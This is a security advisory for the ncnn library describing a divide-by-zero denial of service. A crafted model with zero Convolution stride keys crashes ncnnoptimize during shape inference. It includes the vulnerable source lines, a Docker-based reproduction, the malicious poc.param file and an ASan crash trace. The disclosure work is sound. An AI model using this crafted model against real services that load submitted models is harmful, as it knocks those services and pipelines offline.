Zero Convolution Stride Causes Optimizer DoS
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/convolution.cpp:264 in Convolution::forward
Sanitizer verdict: FPE on unknown address 0x63d376410d6c (pc 0x63d376410d6c bp 0x7ffd9f5dd000 sp 0x7ffd9f5dcb60 T0)
The observed crash lands in src/layer/x86/convolution_x86.cpp:618, which is the ISA-specialised copy of the reported code path.
Summary
An attacker who can hand ncnn a .param/.bin model pair crashes the process that reads it: ncnnoptimize terminates with SIGFPE before writing any output. The model declares a Convolution layer whose stride parameters (keys 3 and 13) are zero; ncnn stores those values verbatim and later divides the padded input dimensions by them while computing the output shape. Any service or build pipeline that runs ncnnoptimize (or any ncnn consumer that executes the graph) on a submitted model can be killed on demand with a two-layer text file.
Detail
The untrusted fields are parameter keys 3 (stride_w) and 13 (stride_h) of the Convolution layer record. Convolution::load_param copies them straight out of the ParamDict with no lower bound — pd.get(3, 1) only supplies a default when the key is absent, so an explicit 3=0 is preserved as a legitimate stride. Nothing between Net::load_param and layer execution re-checks the value.
ncnnoptimize then calls optimizer.shape_inference() (tools/ncnnoptimize.cpp:2844), which runs ex.extract(top_blob_index, m) for every layer output (tools/modelwriter.h:435). Extraction actually executes the convolution, and the output-extent computation divides by the stride:
// src/layer/convolution.cpp:18
int Convolution::load_param(const ParamDict& pd)
{
num_output = pd.get(0, 0);
kernel_w = pd.get(1, 0);
kernel_h = pd.get(11, kernel_w);
dilation_w = pd.get(2, 1);
dilation_h = pd.get(12, dilation_w);
stride_w = pd.get(3, 1);
stride_h = pd.get(13, stride_w);
// src/layer/convolution.cpp:261
const int kernel_extent_w = dilation_w * (kernel_w - 1) + 1;
const int kernel_extent_h = dilation_h * (kernel_h - 1) + 1;
const int outw = (w - kernel_extent_w) / stride_w + 1;
const int outh = (h - kernel_extent_h) / stride_h + 1;
The PoC feeds a 3x3x1 Input blob into Convolution conv 1 1 data conv 0=1 1=3 11=3 3=0 13=0 5=0 6=9, i.e. a 3x3 kernel with both strides zero and nine FP32 weights. At the sink w and h are 3, kernel_extent_w and kernel_extent_h are 3, so the expression evaluates (3 - 3) / 0. On x86 this is an idiv with a zero divisor, which raises #DE and delivers SIGFPE; the process dies inside shape inference and never reaches optimizer.save(). The x86 override carries the identical expression at src/layer/x86/convolution_x86.cpp:618 (int outw = (w - kernel_extent_w) / stride_w + 1;), which is the frame the trace reports, so selecting the SIMD path does not avoid the divisor.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-zero-convolution-stride-causes-optimizer-dos && cd ncnn-poc-zero-convolution-stride-causes-optimizer-dos
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=3 1=3 2=1
Convolution conv 1 1 data conv 0=1 1=3 11=3 3=0 13=0 5=0 6=9
EOF
head -c 40 /dev/zero > poc.bin
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0
AddressSanitizer output:
shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5eed479fcd6c (pc 0x5eed479fcd6c bp 0x7ffdfe44a230 sp 0x7ffdfe449d90 T0)
#0 0x5eed479fcd6c in ncnn::Convolution_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:618
#1 0x5eed46bc5f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#2 0x5eed46bb7b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#3 0x5eed46c179e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#4 0x5eed46aa93c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#5 0x5eed46b26eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#6 0x7c537ba541c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x7c537ba5428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x5eed46aa6624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:618 in ncnn::Convolution_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const
==1==ABORTING
Credit
Zheng Yu @ DepthFirst